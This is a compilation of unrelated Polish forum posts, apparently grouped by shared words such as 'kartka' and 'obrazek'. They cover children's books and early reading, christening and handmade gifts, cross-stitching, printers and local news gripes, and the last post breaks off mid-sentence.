kartki ponizej 1,50 nie widzialam niestety ;)

Ja łączyłam składanie wyrazu z liter, czy sylab z matodą wzrokowego
zapamiętywania wyrazu i kojarzenia go z przedmiotem. To się chyba
nazywa matoda Domana, nie wiem, bo tylko słyszałam i robiłam
materiały na wyczucie.
Były to kartki z obrazkami i podpisami drukowanymi dość dużymi,
wyraźnymi literami. Na odwrocie kartki był sam napisany wyraz. Były
to proste wyrazy: auto, pies itd. Polecam słownik Wesołej szkoły do
zerówki - tam są rysunki, można poskanować czy pokserować i się
pobawić.
Córka miała tych kartek dużo, układała z nich historyjki, potem,
zaczynając od najprostszych zgadywała przedmiot po napisach na
odwrocie.
Inna zabawa to rebusy. Proste, rysowałyśmy na znikopisie najpierw
ja, potem ona. Np. rysunek torów i sylaba ''ba''. I tym podobne.
Poloecam też bardzo Komputerową Gratkę, w dalszych numerach po nauce
liter były ćwiczenia na składanie sylab. Gra bardzo ładna graficznie
i ciekawa.
Powodzenia.

anu_anu napisała:

> Proszę o pomoc w sporządzeniu listy ciekawych rzeczy, które można
> robić z mężem.

No wiesz??

A serio - my mamy dwie wspólne pasje - kino (filmy) i puzzle. Jak dzieci śpią -
albo układamy puzzle, albo oglądamy jakiś film. Jak dzieci nie śpią - w weekend
(bo w tygodniu męża nie ma) - chodzimy na spacery, teraz na sanki, dzieci
rysują, układają coś z klocków, lepią z plasteliny, pomagają mi w kuchni -
uwielbiają np. dekorować ciastka, mieszać coś mikserem, wlewać, wsypywać,
podawać, wycierać itp. Książki czytamy, bawimy sie w chowanego (to nic, że
dzieci po chwili zapominają o matce schowanej gdzieś i np. stojącej na 1 nodze w
szafie i zajmują się czymś innym ), dzieciaki wycinają różne obrazki z gazet
albo ja wycinam a one przyklejają je na kartkach tworząc historie obrazkowe,
albo gramy w różne gry (dzieci uwielbiają takie "elektroniczne" polegające na
łączeniu pasujących obrazków przy pomocy takich "długopisów", wtedy zapala sie
lampka, ale tworzenie obrazków z koralików nakładanych na plansze - no, dużo
tego jest. A kiedy jest ładna pogoda jeździmy na wycieczki "krajoznawcze" -
łazimy po róznych ruinach, parkach, skansenach, nietypowych muzeach itp.

Gdyby moje roczne dostało np. wiersze Brzechwy ucieszyłabym się, ale ja, bo młoda nadal jeszcze gardzi wszelką poezją i w ogóle słowem czytanym, chyba, że byłyby ładne obrazki-wtedy Brzechwa byłby 'czytany' Uwielbia ksiązki i tylko ksiązki potrafia ja zając na dłużej, ale ona je ogląda, sluchac czytania matki nie chce, za to lubi, jak opowiadam o obrazkach, szuka szczegółów.
Lubi też ksiązki z dźwiękami. Mamy ładnie, kolorowo wydaną przez wydawnictwo Wilga serię o zwięrzetach z odgłosami-długo były hitem u nas, jakies muzyczne dla przedszkolaków z obrazkiem, pianinkiem i nutami i mnóstwo ksiązek z obrazkami w tym i te z wierszami. W księgarniach az roi od ładnie i porządnie wydanych książek dla maluchów, co mnie cieszy, bo kilka razy w miesiącu uzupelniam bibliotekę młodej i mam w czym wybierać. Młoda lubi bardzo zdjęcia, obrazki realistyczne i tez sa takie pozycje-jakies małe encykolopedie oczywiście nie dla rocznego, ale rocznemu nie przeszkadza, że przeznaczona dla starszych dzieci. Dla roczniaka wybrać taką z twardymi kartkami, bo pożre i potarga inne.

a ja biore mój obrazek do sklepu, udaje się na stoisko z ramkami-
obrazkami i sobie przymierzam, która mi pasuje tą biorę i w domku
rozbrajam obrazek i wkladam mój: wyprany i odprasowany, pod spód
koniecznie biała kartka i skladam obrazek. od tyłu podklejam
tekturka i grubą taśma, żeby też z tyłu ładnie wyglądał i gotowe

babel lubil "czytac" wlasciwie od zawsze. najpierw mial taka miekka ksiazeczke z
roznyc materialow, ktora wydawala kilka dzwiekow i bardzo ja kochal. pozniej
zawziecie "czytal" ksiazeczki tekturowe. jeszcze do niedawna wygladalo to tak,
ze ogladalismy ksiazeczki razem i ja opowiadalam, co jest na obrazkach, albo
babel pokazywal na cos paluszkiem, a ja mowilam, co to jest itp. od jakiegos
miesiaca polubil prawdziwe czytanie. przynosi swoja ukochana "lokomotywe" i kze
czytac. lezymy sobie razem na lozku, ja czytam, babel przewraca mi kartki.
potrafi juz skupic sie na tym nawet 15 minut. ma 21 miesiecy.

moim zdaniem roczniak jeszcze nie jest w stanie dlugo skupic sie na sluchaniu
bajki. dobrym patentem sa wlasnie tekturowe ksiazeczki, gdzie sa ladne obrazki i
malo tekstu (linijka na stronie), najlepiej krotkie wierszyki, okienka, do
ktorych mozna robic "a kuku" - babel bardzo lubi, czy wlasnie wstawki z roznych
materialow, ktore mozna dotykac. niech dziecko raczej bawi sie ksiazeczka,
prawdziwe czytanie tez w koncu polubi.

asteroida2 napisał:

> Mogę spróbować. Ale tak czy inaczej będzie wymagało to trochę
> machania rękami.

Przykład z podzielonym odcinkiem świetny, nawet idiotki zrozumieją.
Trochę przeinaczając Twoje pytanie: czy jest możliwe takie
podwojenie tylko poprzez obrót i przesunięcie punktów jednego
odcinka? Składa się on z nieskończonej ilości punktów, więc gdyby
tak część z nich przerzucić w inne miejsce, odcinek pierwotny
prawdopodobnie nawet by tego nie zauważył, odległości między
punktami także.

Przekształcenia punktów na płaszczyźnie ładne, chyba do objęcia
niegeometrycznym rozumem, chociaż boje się, że próba zrobienia tych
przesunięć i obrotów punktów na kartce papieru spowoduje obraz
rozmazanego chaosu.

Ale cudu rozmnożenia kuli i tak nie zrozumiem bez rysunku. Te
wizualizacje w googlach też są niby to oczywistą oczywistością dla
matematyków, wynikającą z wielu praw i wzorów. Dałbyś radę jakiś
prosty, schematyczny obrazek wkleić? Wiem, że przesadzam z tą
prośbą, przepraszam, ale naprawdę pięknie machasz rękami :) Dziękuję.

mi tez sie te kocyki podobaja
my na chrzest dostaliśmy kilka typowo pamiątkowych rzeczy - srebrną łyżeczkę z
grawerką od dziadków i do tego biblię i obrazek z Julą i Aniołem Stróżem
malowany przez mojego tatę, a z tyłu ładny wierszyk, aż się wzruszyłam my
daliśmy Julci od siebie pamiątkowy smoczek z datą urodzenia, godziną itp.
Chrzestny dał złoty łańcuszek z medalikiem. A reszta to w zasadzie pieniądze -
od chrzestnej bardzo konkretna kwota, od reszty mniejsze. No i praktycznie od
każdego kartki z zyczeniami.
Jeżeli chcesz dostać jakies przydatne rzeczy, to zastanow się po prostu co
chcialabyś aby Twoje dziecko miało za kilka miesięcy - fotelik do karmienia,
kojec, może jeszcze coś innego... to przeciez dla twojego dziecka mają być
prezenty no i Ty pewnie też wiesz mniej wiecej na co sa w stanie pozwolić sobie
goście...

mailem zyczen bozonarodzeniowych sie nie wysyla. to faux pas, IMHO!

hand made- wszelkie produkty decoupage, pudelka itp (polecam forum rekodzielo i
ozdoby), bizuteria, alkohole, kartki, kalendarze, notesy. Moze to byc wyszywany,
haftowany obrazek czy np poszewki na poduszki. Na drutach mozna zrobic szalik,
czapke, sweter, na szydelku serwetki. Mozna jakis prosty, tani abazur ladnie
ozdobic.

ktos tu mowi o tym ze to rzeczy sa mocno pracochlonne. no ale to juz wybor danej
osoby czy woli oszczedzac czas i swoj wklad czy pieniadze...

W poprzednim miejscu zamieszkania miałam bardzo zaprzyjaźnionych sąsiadów,dla
mojej córki byli jak dziadkowie.Kiedy córka była mała miała zwyczaj zabierania
przekazów z poczty i ulotek z apteki.Któregoś dnia spodobała jej się ulotka
książeczka z ładną dziewczyną na pierwszej kartce a dalej była reklama jakiegoś
ziołowego środka na potencję dla panów ale było tak napisane,że dziecko nie
mogło wiedzieć o co chodzi(wzmacnia siły)nie było żadnych "obrazków" ani nic a
mała wtedy nie umiała czytać.Jednak po namyśle zabrałam jej te ulotki ale ona
musiała kilka gdzieś schować no i z radością podzieliła się z wnuczką w tym
samym wieku tych sąsiadów.No i poszła plota na cały blok,że ja podaję moim
facetom(żeby chociaż tacy byli!!!) ten środek.Na początku nie wierzyłam,że oni
mogli tak myśleć o mnie,że mogli rozsiewać plotki i było mi przykro potem jednak
dobrze się bawiłam i mówiłam,że ja to nie muszę moim facetom nic dawać bo jestem
tak dobra w tym,że nic nie potrzebują....Jak widać kołtuny mogą być nawet z nami
zaprzyjaźnieni.Pozdrawiam....

No własnie. Moze i coś religijnego otrzymałem (czyt. kartkę ozdobną
z ładnym obrazkiem) od chrzestnych na pierwszą Komunię. Udział w
wychowaniu religijnym - niezbyt kojarzę.

Chrzestni - z klucza rodzinnego. Z drugiej strony Polski, więc biorę
to pod uwagę. Chrzestną widziałem niecały rok temu, chrzestnego - od
9 lat nie.

Więc się tak zastanawiam nad celowością klucza rodzinnego... dla
swoich dzieci nie miałbym problemu z rezygnacją z niego.

Skoro synek nie samochodzikowy to może ciastolinę - play doh ma
ciastolinę dla dzieci w wieku 2+, a crayola nawet 1+. Moim dwuletnim
dzieciom bardzo się podoba zabawa ciastoliną - kupiłam same tuby
bez żadnych narzędzi. Robią "kujki" i dziobią widelcem i tak godzinę
non stop.

Albo może taką tablicę do rysowania jak z ikei
www.ikea.com/pl/pl/catalog/products/50021076.
Jeśli lubi książeczki to może te serii "Mały chłopiec"
merlin.pl/maly-chlopiec/browse/search.html?phrase=maly+ch%
B3opiec§ion=&place=0+simple&offer &sort=rank&page=1. Teraz
pojawiły się nowe książeczki, jets np. "Traktor Tadka" - ładne
ilustracje, rymowny tekst - moje dzieci lubią te książeczki.

Co jeszcze? Może gry firmy Granna z serii Moje pierwsze gry: My
mamy dwie Lotto i Memo i moje dulatki naprawdę lubią się w nie bawić
(może niedokładnie tak, jak w instrukcji ale zajmuje im czas i jest
edukacyjne) Gry swą w cenie około 24 zł. A w Merlinie po 17,90 zł.

Z książek mogę polecić jeszcze dwie, trudno dostępne ale warto -
Wielka ilustrowana księga zwierząt i wielka ilustrowana księga
Bozego Narodzenia.- obrazki z mnóstwem szczegółów,można długo
opowiadać, a dziecko jest zainteresowane i samo sięga po książki ,
twarde kartki.

A reszta co przychodzi mi na myśl to nieśmiertelne lego duplo -
niekoniecznie samochodzikowe, ale np. tematyczne zoo.

nie kupuj tego
zamówiłam to na Allegro i odesłałam .
To jest bardzo małe, to nie jest na kartkę formatu A4 tylko taką małą z zeszytu (A5), te pokrętła są wkurzające bo się zacinają i czasami można sobie kręcić i kręcić, a obrazek się nie przesuwa.
Ten schowek na kredki czy ołówek jest tak mały, że ledwo się tam coś może zmieścić i to w wersji mini.
Naprawdę nie warto, moja córeczka to chiała, zamówiłam, jak sama to zobaczyła, to była bardzo rozczarowana, bo gazecie Księżniczki tak
ładnie wyglądało.
Widząc to nie zapłaciłabym za to więcej niż 20 PLN.
Szkoda kasy.
Pozdrawiam

A ja podrzuce taki pomysł na ryzowanie na scianach obrazkow z kartki.
Masz fote/rysunek dinozarła na kartce, rysujesz na nim siatkę, dzieląc na równe części
O tak mniej wiecej


a potem rysujesz na ścianie identyczną siatkę, tylko odpowiednio większą. Musi mieć tyle samo kwadratów
No i w kwadratach na ścianie rysujesz ołowkiem poszczegolne elementy z kwadratów na kartce. Ja w ten sposob, bardzo ładnie narysowałam zwierzaki z kubusia puchatka. I skala równa wychodzi. Siatkę ze ściany sie poznoiej ściera gumką do ścierania. gotowy obrazem malujesz farbami. i gotowe.

JA zaczęłam robić prezenty jakoś w 1-2 klasie podstawówki, na wszelkie okazje-
bo cieszyłam się strasznie widząc reakcję zachwytu mamy.
1 etap- to rękodzieła: laurki, obrazki na ściane (czyli obrazki na kartce z
gwozdzikiem), ludziki z modeliny, brożki z modeliny ugotowane i polakierowane
żeby się ładnie błyszczały, kwiatki które wcześniej ususzyłam, poduszeczkę na
szpilki, deskę taką do krojenia którą wyciełam z listewki oraz 2 takie same
podstaweczki pod herbatę, które dodatkowo odzobiłam kwiatkami, narysowanymi
flamastrami.. koralne z jarzebiny itp.
Pozniej z kolei, kiedy juz mialam swoje kiesoznkowe byly: klipsy- oczywiscie
blyszczace, bo sie takie podobaly- mama teraz wiem, ze takich nie nosi, ale zeby
mi zrobic przyjemnosc- zakladala, ksiazeczki, ktore kupowalam w przykoscielnym
sklepie- fajnie opisane i tanie , potem cos z ubran, kwaitka prymulke, jak sie
okazalo kilka lat pozniej- mama byla na niego uczulona,ale nie przyznala sie w
czas...
90% tych rzeczy- mama ma do dziś.. Miłe to

Warto też poinformować rodzinę i znajomych, że zbierasz wszelkie ładne
papierki Dostęp do papieru jest powszechny, więc szybko zgromadzisz bogatą
kolekcję fragmentów tapet, borderów, folderów, papierów i torebek po
prezentach, fragmentów ładnych kartoników po słodyczach czy kosmetykach,
obrazków np. z kartek itp.

miękkie książeczki
Moja córka, wiek 4 miesiące dostała w prezencie książeczkę tzw kąpielową i ku
mojemu zdumieniu stała się ona jej ulubioną zabawką. Chciałabym kupić jej
drugą a może i trzecią książeczkę tego typu (jest ona z miękkiej ceraty, ma
wszystkiego 4 kartki i wściekle kolorowe obrazki). Czy ktoś mógłby mi polecić
coś ładnego dla najmłodszych czytelników?

Dla siostrzenca podarowalam namalowany przez znajoma akwarelami obraz z Aniolem
strozem. Moj syn od chrzestnej doslal komplet dzieciecych sztuccow z
wygrawerowanym swoim imieniem i data Chrztu (nie urodzenia, uwazam, ze super
pomysl). Mysle, ze z lancuszkiem mozesz poczekac do Komunii. Jezeli nie umiesz
malowac ani wyszywac, moze sprobuj popytac znajomych, na forum moze tez sie
ktos znajdzie, kto za niewygorowana oplata wyszyje szatke na chrzest (zamiast
kupowac gotowca) z imionami i data Chrztu dziecka. Do Chrztu potrzebne, a
bedzie potem super pamiatka (tez taka mam swoja, dla syna rowniez zamowilam).
Mysle, ze warto dac jakis prezent, ktory bedzie pamiatka. Krzeselko przyda sie
dziecku na pewno, ale mozna je sprezentowac z byle okazji. Na Chrzest jakis
osobisty prezent: ladna ramka z data chrztu, sztucce, srebrna grzechotka,
obrazek, czy chocby ladne wydanie Biblii dzieciecej z ladna kartka i dedykacja
wewnatrz.

Zamienię:pamiątkę chrztu i Kronikę dziecka
Jak w tytule,
obie książeczki nowe,
Pamiątka jest w formie książeczki,w formacie pół A4,sztywna
okładka,kredowy papier,na każdej stronie tekst modlitwy,ładne
obrazki,z tyłu wkładka na pieniądze;
Jestem na świecie-kronika naszego dziecka,fajna książka do
uzupełniania od pierwszych chwil malucha.Format A4,kredowe
kartki,48stron(jedna z nich rozdarta na długości 4cm)
Fotki na życzenie.Zamienię na coś do pływania oprócz koła:deska do
nauki,rękawki.

stranger.pl napisał:

> Bo wyszło szydło z worka - coś o czym każdy wiedział (no prawie) ale mało kto o
>
> tym mówił - ta część USA to istny Bangladesz.
> Czegoś takiego nie ma w Polsce nawet w najbiedniejszych miejscach.

no nie przesadzaj,ale obrazki w USA mozesz spotkac to fakt. nie kazdy jest tu
bogaty i niekazdemu chce sie chociazby swoja posesje posprztac,bo w koncu wiele
nacji i ras tego nie ma w zwyczaju,co nie oznacza,ze mieszkancy tego getta sa
zupelnie biedni. maja zwykle po pare samochodow,kompy i telewizowy i zwykle nsza
co chwile nowe addidasy NIKE,za cirka $100 sztuka. po kartki zywnosciowe zwykle
ida obwieszeni zlotem,ale nazywamy ich ladnie biedota amerykanska.

To jeszcze moja historyjka z PW: Była raz jakaś kartkówka czy kolokwium z
chemii fizycznej. Mój kolega, nic nie umiejąc, a nie mogąc ściągnąć, pogodził
się z przewidywaną oceną niedostateczną i przez całą godzine po prostu sobie
rysował. Stworzył taki batalistyczny obrazek przedstawiający czołg Tiger w
otoczeniu niemieckich żołnierzy (bardzo ładny obrazek, kolega w ogóle dobrze
rysuje, pracuje zresztą obecnie jako grafik). No i na koniec zajęć oddał czystą
kartkę tylko z imieniem i nazwiskiem (żeby miec zaliczoną obecność) no i z tym
rysunkiem na odwrocie. Na następnych zajęciach przy wynikach kolokwium okazało
się że prowadzący postawił temu koledze... 3 :) z adnotacją "praca dobra
chociaż nie na temat".

Pieniędzy. Jasne, że kupię sobie za nie dokładnie to co chcę, ale nie o to
przecież chodzi.

Od lat próbuję wytresować moich rodziców, że dla mnie liczy się wyłącznie fakt
dostania prezentu - opakowanego w dekoracyjny papier, plus napisane ładnie
życzenia na kartce... a w środku może być nawet wafelek :-) Jednak zrobili się
jacyś prezentowo niepełnosprawni od kiedy dorosłam.

[OT] Ja oczywiście jestem co roku w grudniu spłukana, więc obdarowuję bliskich
wątpliwymi dziełami sztuki własnego autorstwa. Trzymam się jednak zasady, że
prezent musi być płaski i nieduży, żeby zmieścił się na dnie szuflady - powinien
być więc obrazkiem, najlepiej nieoprawionym ;-) Jak komuś się spodoba to będzie
hołubił, a jak nie, to schowa i zapomni. A i tak największą radochę mam ja
podczas produkcji właśnie, bez uganiania się po koszmarnych centrach handlowych.

Moze nie na ZPT, bo bylo to jeszcze w zerowce :) Kiedys pani dala nam kartki,
farbki i pedzelki i dokladnie pokolei mowila co gdzie mamy namalowac, tutaj
kreske tu to, tu kropke, tu koleczko. Wyszlo z tego super malowidlo
przedstawiajace maki w wazonie :) Potem maz pani oprawil kazdy rysunek w ladna
ramke i te wspaniale malarskie acydziela zostaly wreczone mamom na dzien
matki :) Obrazek ciagle wisi u mojej mamy na scianie :)

moja bardzo chętnie bawi sie plasteliną - ja rysuje na kartce np drzewo daje jej
kawałek plasteliny i ona wykleja z moją pomocą - bardzo ładne obrazki nam
wychodzą /a coś podobnego do plasteliny to pewnie modelina ok 5zł/, pozaym
klocki, i jak wyżej książeczki i kredki. a i zrobiłam karty memory wyklejane
folią samoprzylepną po 2 kartki z takim samym kształtem np listek, ślimak na
początku zakrywałam 4 teraz już 8 i szukamy.

Porażka totalna. Sprzęt dla frajerów, co kupują komputery w hipermarketach.
Drukarki badziewiaste i za grosze - jednorazówki. Nabijanie klientów w butelkę.
Np. drukarka za 130 zł z jednym tuszem kolorowym. Jak drukujesz na czarno miesza
trzy kolory żeby uzyskać czarny dzięki czemu wydrukujesz 20 kartek i musisz
kupić nowy tusz... w cenie drukarek.
Jak chce się dobrze drukować to trzeba się niestety wybulić na jakiegoś HPeka,
Canona albo Epsona, a Szitmarku (przepraszam Lexmarku) zapomnieć...
Jak ma być ekonomicznie to laserówka. Jak ma być ładnie (np. zdjęcia, prace z
obrazkami, grafy, wykresy) to atrament (byle nie Lexmark). Epson i Canon maja
modele do których są tanie atramenty, ale trzeba na nich drukować żeby głowica
nie zaschła.

Synek dostał biblię dla dzieci (trochę na wyrost , piękny obrazek Anioła
stróża w ramkach na ścianę. Dziewczynce można sprezentować medalik na łańcuszku
(oczywiście też na przyszłość). Daje się też pieniążki, no i oczywiście ładną
kartkę. Od moich Rodziców synek zamiast kartki dostał taki srebrny obrazek
śwęty z wygrawyrowanym napisem z tyłu. Ładna pamiątka.

to ja sie dorzuce-moja corka w wieku 5mies uwielbiala szmaciana ksiazeczke o zwierzatkach z bardzo
ladnymi kolorowymi obrazkami,szybko nauczyla sie sama przewracac kartki i potrafila spedzac na
"czytaniu" dlugie zimowe wieczory )
wazne zeby ksiazeczka byla z materialu,dziecko nie zrobi sobie krzywdy,jest lekka i
nietoksyczna,znakomicie zabawia niejadki podczas jedzenia
nasza byla z wydawnictwa muchomor- www.muchomor.pl

Aquapark to marzenie wielu szczecinian. Aquapark pojawi się wirtualnie w
okresie najbliższej, samorządowej kampani wyborczej. Kartki z wydrukiem
sylwetki aquaparku zostaną zapewne rozdzielone zachwyconej publice na
spotkaniach przed wyborczych Jacka Piechoty.
Zapewne będą wydrukowane z tej samej drukarki, z której pochodziły wydruki z
wizualizacją (jakież ładne były te obrazki) tzw szybkiego tramwaju rozdawane
przez Malanowską w ostatniej kampanii wyborczej . Miały one świadczyć o
wyjątkowo ambitnych zamiarach Runowicza.

opamietajcie sie
Ludzie, opamietajcie sie i nie kupujcie mieszkan od developera ze szkicu na
kartce papieru.To jawne oszustwa.Niech developer martwi sie o to jak postawic
dom i za jakie pieniadze.Z waszych wplat na mieszkania rzadko kiedy buduje sie
te mieszkania.Nawet dzialki sie nie kupuje.To tez dlatego w Polsce wszyscy
sadza sie ze wszystkimi i o wszystko.Zasada jest taka, ze najpierw developer
stawia dom, wykancza mieszkanie i otoczenie dopiero rozpoczyna sprzedaz a na
zarzuty moze wtedy odpowiedziec "widzialy galy co braly". Szanujcie swoje
pieniadze i "galy".Mieszkania i tak beda budowac bo oni nic innego nie potrafia
robic tylko brac i oszukiwac.To sa przedsiebiorstwa panstwowe z czasow PRL,
ktorym udalo sie przed laty szybko zmienic czapke z panstwowej na prywatna
metoda przejmowania panstwowej wlasnosci w prywatne rece.Ponadto, jak nie brac
jak sami daja(pieniadze) i to z gory za ladnie narysowany obrazek.cvs.


o gifach istotnie pisałam ale to było w kontekście kartek świątecznych
animowane gify ładnie się robi przy pomocy programu Adobe ImageReady

do sygnaturek niestety nie ma możliwości wklejania obrazków (jpg gif) można
jedynie trochę się pobawić w komponowanie za pomocą symboli dostępnych w wordzie
menu: wstaw -> symbol
przekopiuj sobie mojego stworka do worda i zobacz jak jest zrobiony:
_,,,٢ة إ ة٦,,,_

pozdrawiam
owca

_,,,٢ة إ ة٦,,,_

Krakowski rynek pod swastykami
Szczegóły na pierwszej stronie krakowskiego serwisu "Wyborczej". A w skrócie
chodzi o to, że referat promocji Urzędu Miasta w Krakowie handluje reprintami
widokówek z jesieni '39 r. Widać np. kościół Mariacki i przyległe kamienice
udekorowane hitlerowskimi flagami. Kartki wsadzają do kopert ładnie
przyozdobionych logo miasta itp. Szum się zrobił dopiero teraz, kiedy jakiś
były żołnierz Wehrmachtu nabył sporą ilość w/w obrazków i porozsyłał znajomym,
w tym znajomemu z Krakowa [nie był w Wehrmachcie ;)].

Urząd Miasta się rzecz jasna wypiera teraz w żywe oczy, ew. coś kląska o
wartościach historycznych, a ja tu piszę o tym dlatego, że już parę razy
zdążyłam usłyszeć, jak to "my z reichu" w tym Szczecinie usiłujemy wyzyskać
ponurą przeszłość do własnych, niskich celów. A tu, proszę, Kraków - dawna
stolica Polaków.

jottka napisał(a):

> Szczegóły na pierwszej stronie krakowskiego serwisu "Wyborczej". A w skrócie
> chodzi o to, że referat promocji Urzędu Miasta w Krakowie handluje reprintami
> widokówek z jesieni '39 r. Widać np. kościół Mariacki i przyległe kamienice
> udekorowane hitlerowskimi flagami. Kartki wsadzają do kopert ładnie
> przyozdobionych logo miasta itp. Szum się zrobił dopiero teraz, kiedy jakiś
> były żołnierz Wehrmachtu nabył sporą ilość w/w obrazków i porozsyłał znajomym,
> w tym znajomemu z Krakowa [nie był w Wehrmachcie ;)].
>
> Urząd Miasta się rzecz jasna wypiera teraz w żywe oczy, ew. coś kląska o
> wartościach historycznych, a ja tu piszę o tym dlatego, że już parę razy
> zdążyłam usłyszeć, jak to "my z reichu" w tym Szczecinie usiłujemy wyzyskać
> ponurą przeszłość do własnych, niskich celów. A tu, proszę, Kraków - dawna
> stolica Polaków.

Nie przypominam sobie zeby w Szczecinie ktokolwiek chcial wyzyskiwac ponura -
hitlerowska przeszlosc. Wlasciwie nie moglbym sie dopatrzec w miescie zadnych
(poza kilkoma budynkami z tamtych czasow, i wiezyczki pantery ;-) pamiatek z
tamtych czasow. No i dobrze. Natomiast bardzo przeszkadza mi pietno innego
totalitaryzmu, ktore odcisnelo sie na miescie znacznie mocniej i ktore trudno
bedzie usunac.

Zbieram szczecinskie starocie ale unikam pamiatek z lat rzadow nazistowskich i
zawsze staram sie by na pocztowkach nie bylo sfastk, wron na stemplach albo glowy
Hitlera na znaczkach.

gdzie ladne pamiatki chrztu we Wrocku?
obrazki,kartki czy np aniolki?[pilneeeeeeeee


http:/www.asiaq.pl polecam stronkę z kartkami - to nie haft, ale ładne obrazki

Ksiazki na gwiazdke dla 2-3 latka - ktore?
Podobny post zamiescilam na Kwietniowkach 2005, ale chcialabym zapytac
rowniez tutaj. Mamy duzo ksiazeczek na teraz, wiec robie zapasy na
przyszlosc, bo wychodzi mi, ze przez najblizszy rok, nie bede zbyt czesto w
Polsce. Moj syn ma teraz rok i siedem miesiecy, ale ksiazeczki moga byc
troche za dorosle. Szyszka lubi grube, duze, zeby bylo duzo technicznych
szczegolow, no w ogole, zeby bylo duzo szczegolow na obrazkach, rytmiczne,
osadzone w realiach dnia codziennego, ze tak powiem, bo zadne basnie, czary
itd. mojego dziecka nie ruszaja: chyba jest jeszcze za maly. Nie podchodza mu
ksiazeczki typu twarda oprawa i jeden wiersz albo krotka historia, nad czym
bardzo ubolewam, bo mamy takich sporo. Ksiazki moga miec miekkie kartki, bo
moj syn nie niszczy. Zalezy mi ksiazeczkach napisanych piekna polszczyzna
(jestesmy fanami Brykczynskiego, Strzalkowskiej, Wawilow) albo pieknie
ilustrowanych albo z jakims takim niepowtarzalnym pomyslem. Idzie mi o to,
zeby dziecku jezyk polski kojarzyl sie z czyms naprawde fajnym (mieszkamy w
Budapeszcie).

Czakam na Wasze sugestie i mam kilka pytan (numeruje, zeby bylo latwiej
odpowiadac)

1.Czy mialyscie w reku ksiazeczki z serii Kamyczek? Czy to jest
rzeczywiscie takie psychologiczne cudo, czy raczej pic i lepiej zaoszczedzic
pieniadze na cos innego? Jakim jezykiem sa napisane? Czy sa ladnie
ilustrowane?

2.Co myslicie o serii Kamilka?

3.Co myslicie o Calus na dobranoc? i Czy zle sie czujesz, Sam? Amy
Hest. Podobno hit.

4.Wendy Cooling: Poczytaj mi Mamo. 50 bajek do czytania na glos. Czy to
bajki dla duzych dzieci, czy dwulatek tez cos dla siebie tam znajdzie? Czy
warto kupic na przyszlosc? Czy ladny jezyk? Bajki madre? Ilustracje? Itd

5.Cole Babette: Milutek. Znowu – podobno hit. Czy warto?

6.W Merlinie mozna kupic 10 ksiazeczek z serii POczytaj mi Mamo za 27
zlotych. Czy ktoras z Was zamawiala i wie, ktore konkretnie ksiazeczki sa w
tym zestawie?

7.Ktore ksiazeczki z magnesami?

8.Ktore Bajki grajki z tych ostatnio wydanych polecacie?

9.Czy ktos widzial Rym cym cym .. gdzies mi z glowy uciekl rym
Malgorzaty Strzalkowskiej? W ksiegarniach warszawskich albo w jakis malych
wysylkowych?

10.Cudowne bajeczki wydane przez Olesiejukow. Warto, nie warto?

Wrzucilam tytuly do przegladarki. Wiem, ze niektore pozycje byly juz
omawiane, ale moze jakas nowa opinia albo komentarz sie trafi. Czekam z
niecierpliwoscia, bo chcialabym zlozyc zamowienie jeszcze w tym tygodniu.

W sklepach typu Michael's lub Hobby Lobby sa komplety z gotowymi wzorami. W
komplecie juz jest material tzw Aida, ktory ma wlokna w kratke z dziurkami w
katach kratki, zeby igla latwo wchodzila, igle specjalna (tepa, bo jesli ostra
to moze przerywac wlokna), wszystkie kolory nitek potrzebnych do danego wzoru
oraz instrukcje dokladnie z obrazkami jak wyszywac. Ja kiedys troche w
dziecinstwie krzyzykowalam, ale dopiero tutaj jak robilam kocyk dla Nicole
nauczylam sie to ladnie wykanczac. Ja robilam krzyzyki jak sie uda, a najlepszy
wyglad ma jesli krzyzyki sa robione w tym samym kierunku czyli calutki obraz ma
/////// a druga czesc krzyzyka ta co jest na wierzchu \\\ a nie jak sie uda.
Mozesz wybrac bardzo prosty wzor na poczatek. Moj pierwszy byl wlasnie ten
kocyk. On jest na innym materiale, ale mial wydrukowane krzyzyki na niebiesko i
ja po nich szlam. W praniu niebieski atramet sie zmyl.
Wzory z Aida sa najczesciej Counted Cross Stitch. Ja taki wole, bo nieraz te
wydruki sa tak dziwnie zrobione, ze akurat igla nie trafia w dziurki i trzeba
wtedy kazdy rzad modyfikowac. Wole jak Aida jest czysta i ja licze kratki wg
wzoru. Moge wtedy tez kupic wlasna Aide gestsza lub rzadsza (wieksze lub
mniejsze kratki). Ja tez lubie o wiele wiecej materialu niz daja, bo latwiej mi
to wsadzic w ramke do wyszywania. Mam wiecej pola do manewru np jesli chce
zrobic poduszke i miec maly wzor po srodku itp.

Biedronka Nicole to wlasny pomysl. Kupilam Aide i juz mialam nitki. Na kartce
w kratke wyrysowalysmy. Pomysl byl z wzorow prostych z Walmartu (maja tam
komplety dla dzieci do wyszywania), ale prosty wzor to naprawde latwo samemu
wyrysowac. Motyl Nicole tez narysowala na kartce, a my to pozniej przenieslismy
na kartke w kratke (graphic paper).

Pozniej kupilam program, bo on pozwala na skanowanie zdjeci i wtedy on sam Ci
rysuje wzor i dobiera kolory, podaje kolory wg numerow do kupna. Planowalam
kiedys zeskanowac zdjecie Nicole i wyszyc cos co wyglada jak zdjecie, ale
zabraklo czasu. Teraz wykorzystuje ten program do wyrysowania wzoru dla Emily.
Pokazuje on jak bedzie wygladala wyszywanka jak sie skonczy (virtual stitches).
Emily koniecznie chciala Simbe i Nale jako male lwiatka i wybrala sobie jak to
ma wygladac. Ona ma Nale (ktora jest tygrysem) i tez tam mam wyszyc. Wiec
musze dodac paski :) Takiego wzoru to ja nie znajde, wiec ten program jest
super. nazywa sie PCStitch.
Tak to wyglada jak sie zaczyna:
picasaweb.google.com/edyta3/MyCrossStitching#5260728055196045442

Lekkie tornistry - czy to realne?
Dlaczego uczeń musi nosić takie ciężkie książki i multum zeszytów ćwiczeń? Bo
nikt w wydawnictwach nie myśli o tym, ile to będzie ważyło, tylko wydają np.
podręcznik w twardej oprawie - bo tak ładnie, a można i zaargumentować, że
będzie trwalszy... No i do tego obowiązkowo kilka ładnych zeszytów ćwiczeń,
gdzie, jak to słusznie już tu ktoś zauważył, uczeń ma do postawienia kilka
kresek na całej stronie z nadrukowanymi obrazkami. Nauczyciele chętnie na to
wszystko idą, bo praca na takich materiałach to jak lot z autopilotem - nie
potrzeba własnej inwencji. A jeśli zdarzy się, że wydawnictwo mądrzej rzecz
obmyśli, to znowu da o sobie znać inercja szkoły. Jeden z podręczników do
młodszych klas był podzielony na części do trzymania w segregatorach (kartki
miały już dziurki). Nie mogąc się doczekać, kiedy dzieci przestaną wreszcie
niepotrzebnie nosić całe książki, poszłam do pani z zapytaniem. Pierwszym
